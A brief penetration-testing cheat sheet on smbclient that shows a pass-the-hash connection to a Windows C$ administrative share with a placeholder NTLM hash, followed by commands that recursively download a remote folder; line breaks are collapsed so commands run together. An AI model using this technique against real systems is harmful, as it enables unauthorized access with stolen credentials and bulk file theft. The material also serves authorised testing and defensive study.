Common smbclient commands for accessing SMB shares, including pass-the-hash.
smbclient is an FTP-like client for browsing and downloading from SMB shares. It also supports pass-the-hash, so you don’t need to crack a captured NTLM hash before using it.
# Connect to a share using pass-the-hash (no cleartext password needed)smbclient //10.1.1.1/C$ -U "svc-account" --pw-nt-hash "00000000000000000000000000000000" -W domain.local -t 6000Once connected, the following downloads a whole folder and all files inside it:
mask ""recurse ONprompt OFFcd 'path\to\remote\dir'lcd '~/path/to/download/to/'mget *



